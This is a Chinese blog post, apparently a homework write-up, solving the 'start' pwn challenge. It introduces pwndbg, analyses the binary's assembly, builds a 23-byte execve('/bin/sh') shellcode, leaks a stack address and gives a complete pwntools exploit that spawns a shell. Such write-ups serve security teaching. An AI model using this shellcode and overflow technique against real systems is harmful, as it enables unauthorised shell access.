当前位置: 首页 > news >正文

【二进制安全作业】250617课上作业4 - start

文章目录

  • 前言
  • 一、使用环境
  • 二、pwndbg介绍
    • 1. 命令介绍
    • 2. 界面介绍
  • 三、反汇编分析
  • 四、Shellcode
  • 五、解题思路
  • 六、编写EXP
  • 结语


前言

作业3遇到了很严重的问题,一直没搞定,先略过了,要讲的东西也一起放到这里讲吧。
这道题是 pawnable 的第一道题 start 。


一、使用环境

处理器架构:x86_64
操作系统:Ubuntu24.04.2
GDB版本:16.2
pwndbg:2025.05.30


二、pwndbg介绍

这次使用新工具 pwndbg 讲解(代替 gdb)。还没安装的可以在 环境搭建 最下面的 250616补充内容 中找到。

之前安装了一直也没有用,今天尝试了一下还是很舒服的,先做一些介绍。

1. 命令介绍

pwndbg 是 gdb 的插件,所以 gdb 里能用的,pwndbg 也都能用。还有一些额外的功能:

  • 内存搜索
    search <pattern>
    
    pattern:要搜索的内容。可以用来搜索程序包含的字符串
  • 查看栈内容
    stack <count>
    
    count:要查看的栈帧数,比用 x 命令来查要方便很多。但是一般用不到,因为 pwndbg 里默认就会显示栈。
  • 堆分析
    heap <addr>
    
    addr:堆块的第一个地址。暂时还没学到相关内容,没有用过。
  • ROP支持
    rop --grep <asm>
    
    不加选项时列出所有可用的 rop。
    可以使用 --grep 选项指定要匹配的 rop。
  • GOT/PLT表
    got
    plt
    
    got 可以查看全局偏移量表。
    plt 可以查看过程链接表。
  • 内存映射
    vmmap
    
    可以查看程序中各个段的情况
  • 查看文件安全
    checksec
    
    可以先在 pwndbg 中启动程序,然后用 checksec 查看安全信息,要方便一些。
  • 默认上下文视图
    context
    
    就是用 pwndbg 调试时默认的显示方式,如果因为某些原因导致显示的内容上滚得太远,又不方便让程序继续运行,可以用这个命令让调试窗口重新显示出来。

2. 界面介绍

pwndbg 的调试界面默认由四部分组成。

第一部分是寄存器:
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/38c026483be3451db44dc6e819057d4e.png#pic_center在这里插入图片描述
以前经常看的内容,在 gdb 里要用 i(nfo) r(egisters) 查看。

第二部分是反汇编:
在这里插入图片描述
最主要的部分,在 gdb 里要用 disas(semble) 查看。

第三部分是栈:
在这里插入图片描述
很关键的部分,但是在 gdb 里看起来比较麻烦,要通过 x 查看 esp/rsp 附近的内存,在 pwndbg 里要方便很多。

第四部分是调用栈:
在这里插入图片描述
这里可以看到函数调用和返回的顺序,以前的案例都比较简单,所以很少用,在 gdb 里用 bt 查看。


三、反汇编分析

没有源码,我上传了一个附件,也可以在 pwnable 下载。

使用 pwndbg 启动程序,使用 start 命令执行:
在这里插入图片描述
这里就体现出 pwndbg 的优越性了,因为以前我用 gdb 调试过这个程序,gdb 的 start 要找 main 函数执行,所以并不能启动这个程序,需要用 objdump 或者 info functions 之类的方法先找到程序入口,打了断点,然后才能开始调试,用 pwndbg 就要简单很多,直接 start 就可以了。

忘了 checksec,补充一下,无伤大雅:
在这里插入图片描述

这里看不到完整的反汇编,可以用 disas 看一下:
在这里插入图片描述
一个简单而又纯粹的程序,没有任何一条多余的指令,看起来很漂亮。

注意这里是 intel 风格的汇编,如果有需要可以使用 set disassembly-flavor att 改为 AT&T 风格的汇编。

这个汇编程序大体可以分为四部分:
在这里插入图片描述
第一部分是准备工作。
首先压栈了一个 esp,这一步看似无用,对程序来说也确实没用,它唯一的意义是人为制造了一个漏洞……你懂的。
然后压栈了 _exit 函数的地址,在 pwndbg 的默认反汇编窗口可以看到这个地址是 _exit 函数。作用是预留给 ret 用于跳转到程序结束。
清空寄存器。
压栈字符串。看不出这段数据是什么也没关系,我们可以等它进栈了再看它是什么。

第二部分有一个很显眼的 int 0x80 ,在进行系统调用,所以要先看 eax 是什么,这里的 al 是 ax 寄存器的低 8 位,传送了一个 4 ,x86 架构的 4 号系统调用是 write ,这一部分的作用是输出一个字符串。

在这里再简单复习一下系统调用的用法。x86 架构下,使用 int 0x80 触发系统调用,触发时,eax 保存的值为系统调用号,ebx、ecx、edx、esi、edi 分别保存第一二三四五个参数。x86_64 架构下,使用 syscall 触发系统调用,rax 保存系统调用号,rdi、rsi、rdx、r10、r8、r9 分别保存第一二三四五六个参数。对于系统调用号和调用参数不熟悉的可以查阅这个 手册

第三部分同样有一个系统调用,观察 eax ,赋值的是 3 ,所以这里是 read 系统调用,要接收输入,接收长度在 edx,0x3c,共 60 字节。

第四部分是结束程序,esp + 20,指向 _exit 的位置,然后跳转,_exit 的具体实现就不管了,总之程序结束。

安全性上 Stack 的值是 No canary found ,可以栈溢出 。

esp 的移动只有20个字节,可输出的长度足有60个字节,显然这里是留给我们溢出的。但是用 objdump 或是 info functions 可以发现,这个程序并没有什么后门函数,所以不适用之前的通过栈溢出跳转到某个函数来拿到 shell 的方法。

但是它足有 60 个字节,就算前面要用于溢出和跳转,60 - 20 也还剩 40 个字节,并且 NX 的值是 NX disabled ,栈上可执行,所以我们就可以考虑自己写一个函数在栈上,通过执行它来获取shell了。

四、Shellcode

一个新的概念,什么是 shellcode ?用来获取 shell 的 code 就是 shellcode 。

无论什么编程语言,最终都要转换成汇编语言来执行,汇编语言就约等于供人类阅读的机器码,是运行最高效的编程语言,所以直接在内存上用二进制写 shellcode,可以做到极致的简洁且高效。

shellcode 的原理也很简单,就是执行一段汇编代码,这段汇编代码要执行类似于 execve 这种可以启动 shell 的系统调用。

execve 的第一个参数是一个可以启动 shell 的命令字符串,接收一个字符数组,也就是指针常量,在汇编中的体现,就是一个指向字符串的地址,字符串一般使用 “/bin/sh” 。第二个和第三个参数是 NULL。

转换成x86的汇编代码,就是在 eax 里存 execve 的系统调用号 11 ,ebx 里存指向 “/bin/sh” 的地址,ecx 和 edx 存 0,然后执行 int 0x80。

xor ecx, ecx	
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80

不知道为什么使用 AT&T 风格汇编会报错,只能用 intel 风格了,和 AT&T 风格最大的区别是源操作数在后,目的操作数在前。

前两行是给 ecx 和 edx 清零,第三行是给 eax 赋值 11 。
第四和第五行是把 “/bin/bash\0” 压栈,注意这里压栈的是数字,小端序的数组入栈时是低对低,高对高的,相对于字符串的顺序来说就是低位在前,高位在后,所以是倒序压栈的。
第六行是把 esp 的值传送给 ebx ,也就是把 “/bin/bash\0” 字符串的开始地址给 ebx 。
第七行是触发系统调用。

在 pwntools 中可以用 asm() 将这段汇编代码汇编为字节串。

输出一下 shellcode ,计算一下长度:

from pwn import *context.arch='amd64'
context.os='linux'
context.endian='little'shellcode=asm("""
xor ecx, ecx	
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
""")s = [f"\\x{i:02x}" for i in shellcode]
print(''.join(s))
print(len(shellcode))

因为直接输出会通过 ASCII 转为字符,所以稍微处理一下。

输出结果:

在这里插入图片描述
shellcode 为 \x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
长度 23 字节。

五、解题思路

现在我们看懂了汇编代码,也有了 shellcode ,那剩下的问题就是,怎么让程序执行 shellcode ?

在这里插入图片描述

把断点打在输入之后:

b *_start+57

运行输入 ffff :
在这里插入图片描述
在栈中可以很轻松地看到,栈顶就是输入字符串的地方,地址在 0xffffd1b4 ,而跳转的地址在 0xffffd1c8 ,跳转目标是 _exit 函数。

可输入的长度是 60,跳转地址在第 21 到 24 字节,也就是偏移量是 20 ,可以放 shellcode 的内存为前 20 字节或后 36 字节,现在手里的 shellcode 长度为 23 字节,所以只能放在后 36 字节中,我们测试一下:

把跳转地址的 _exit 函数改为下一个存储单元:

set {int}0xffffd1c8=0xffffd1cc

再把下一个存储单元开始的内容替换为 shellcode :

set {char[24]}0xffffd1cc="\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

查看栈:
在这里插入图片描述
已经替换成功了,还可以看一眼 shellcode 的指令:
在这里插入图片描述
和我们写的汇编代码是一样的,既然栈是可以执行的,那理论上就是可以成功的,按 c 执行:
在这里插入图片描述
命令成功执行了,似乎是拿到了 shell ,但是 pwndbg 崩溃了,这个大概是 pwndbg 的问题,我们用 gdb 再来一遍。

在这里插入图片描述
打断点,执行,看栈,和刚才都是一样的,只是栈看起来要稍微麻烦一点,我标注了字符串开始的地方和跳转的地方,然后修改值:

set {int}0xffffd2d8=0xffffd2dc
set {char[24]}0xffffd2dc="\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

输入 c 执行:
在这里插入图片描述
已经成功拿到 shell 了,但是到这里就结束了吗?

从刚才实现的方式来看,如果要写 exp ,我们需要拿到函数返回的地址,而在 pwndbg 和 gdb 的两次测试中,这个地址是不一样的。栈的位置是随机的,我们没有办法把它写死,更没有办法拿到 ctf 服务器上栈的地址,所以现在的问题变成了,要如何获得栈的地址?

源程序的汇编代码中,有一条和栈高度相关的指令,也就是第一条的 push esp ,它把栈顶压入了栈中。

我们重新启动 pwndbg ,观察第一条指令:
在这里插入图片描述
执行指令之前,此时 esp 指向的地址是 0xffffd1d0 ,对于黑盒测试来说这个地址是未知的,也无法通过查看寄存器的方式查看它的实际地址,但是我们执行第一条指令:

在这里插入图片描述
push 相当于两条指令,先是移动 esp 指向前一个存储单元,然后再把 push 的操作数存在 esp 当前指向的位置,于是 esp 之前指向的地址 0xffffd1d0 现在被存在栈上 0xffffd1cc 的位置了。

而程序继续执行的话,会调用输出的函数,于是我们就有了获得这个栈中数据的机会。

继续观察程序运行,重点观察栈的变化:
在这里插入图片描述
仔细感受准备阶段中栈的变化,因为 pwndbg 对栈中的内容有一定的解析,已经很容易理解了。

之后的两个系统调用并不会对栈产生影响,我们再次来到 _start+57 :
在这里插入图片描述
这一条指令的内容是 esp + 0x14 ,所以可以预见,执行完这一条指令之后,esp 指向的位置是 0xffffd1c8 。

再下一条指令是 ret ,ret 相当于 pop eip,会将 esp 指向存储单元的内容弹给 eip ,并让 esp 指向下一个存储单元,而下一个存储单元保存的内容,就是我们想要的栈的地址。如果此时能调用输出的系统调用把 esp 指向的内容输出出来,我们就可以得到这个地址,而这个程序中输出的系统调用输出字符串的来源正是 esp :

在这里插入图片描述
所以只要在跳转的时候,我们让程序跳转到输出的系统调用的位置,程序就会将这个地址输出出来,那么检验一下:

set {int}0xffffd1c8=0x08048087

执行程序:
在这里插入图片描述
此时程序要将 esp 指向的地址传给 ecx 用于 write 输出,继续执行:
在这里插入图片描述

这里 pwndbg 还贴心地显示了使用的系统调用和每个参数的值。

继续执行时输出了一段乱码:
在这里插入图片描述
write 是一个底层输出用的系统调用,会按照给定的字节数输出,而不是处理字符串逻辑,所以此时 write 想要把这个地址的内容以字符输出 20 字节,然而这里保存的不是 ASCII 值,而是地址,所以这里输出的应该是这一部分:
在这里插入图片描述

至于具体是怎么输出的就不研究了,我们只要在 pwntools 中接收前 4 个字节,就可以得到一个确切的地址了,剩下的只要通过这个地址计算偏移量就好了。

继续分析程序:
在这里插入图片描述
要注意,我们拿到的地址并不是此时栈顶的地址,而是栈顶地址中保存的下一个存储单元的地址。程序还会第二次接收输入,从当前栈顶位置开始输入,并且 esp 也会再一次 +20。所以我们应该在字符串开始 +20 偏移量的位置写跳转的地址,在地址后面写 shellcode ,然后跳转到我们拿到的地址 +20 偏移量的位置执行 shellcode。

到这里思路已经明了,也不再做更多的测试了,直接开始写 EXP。

六、编写EXP

from pwn import *# 全局配置
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'shellcode = asm("""
xor ecx, ecx	
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
""")# 记录系统调用 write 开始的地址
write_addr = p32(0x8048087)
# 偏移量
offset = 20with process('./start') as r:# 第一次溢出,跳转回 write 系统调用first = b'A' * offset + write_addrr.sendafter(b':', first)# 接收 4 个字节的地址esp_addr = u32(r.recv(4))# 第二次溢出,偏移量+shellcode地址+shellcodesecond = b'A' * offset + p32(esp_addr + offset) + shellcoder.send(second)r.interactive()

在这里插入图片描述
已经成功了,$ 前的一串字节串,就是 write 输出的那 20 字节,去掉前 4 字节后剩下的部分。

要想拿下 flag ,只要把 process 改成 remote ,参数给域名和端口号就可以了。


结语

虽然前段时间就把这个做出来了,但是也没敢发,逻辑很绕,细讲太难讲了,也没想到这么快就学到这道题了。今天挺艰难地算是写出来了,不知道大家接受的怎么样?欢迎留言讨论。

http://www.lqws.cn/news/449551.html

相关文章:

  • Linux (2)
  • 【stm32】标准库学习——I2C
  • 指标解读——113页企业信息化成熟度评估指标【附全文阅读】
  • 算法第38天|322.零钱兑换\139. 单词拆分
  • C语言:二分搜索函数
  • 【Java学习笔记】线程基础
  • 【RTSP从零实践】2、使用RTP协议封装并传输H264
  • JetBrains IDE v2025.1 升级,AI 智能+语言支持齐飞
  • Maven 之工程化开发核心指南:插件配置、pom 文件与依赖管理
  • GreatSQL加入openKylin社区,共推开源生态建设
  • keep-alive缓存文章列表案例完整代码(Vue3)
  • Symbol.iterator 详解
  • 《被讨厌的勇气》详细概述
  • 【大数据】java API 进行集群间distCP 报错unresolvedAddressException
  • vue3打包后,图片丢失
  • 【unity游戏开发——热更新】什么是Unity热更新
  • 【精选】基于SpringBoot的宠物互助服务小程序平台开发 微信小程序宠物互助系统 宠物互助小程序平台设计与实现 支持救助发布+领养申请+交流互动功能
  • 无人机不再“盲飞”!用Python搞定实时目标识别与跟踪
  • 【Linux驱动开发 ---- 4.2_平台设备(Platform Devices)概述】
  • 1.容器技术与docker环境部署
  • phpstudy无法启动mysql,一启动就关闭,完美解决
  • PLuTo 编译器示例9-12
  • 从生活场景学透 JavaScript 原型与原型链
  • 力扣-62.不同路径
  • 【MySQL篇08】:undo log日志和MVCC实现事务隔离
  • 【小程序】如何生成特定页面的小程序码
  • apifox接收流式响应无法自动合并json内容
  • 组态王工程运行时间显示
  • 数据库从零开始:MySQL 中的 DDL 库操作详解【Linux版】
  • 大话软工笔记—业务功能分类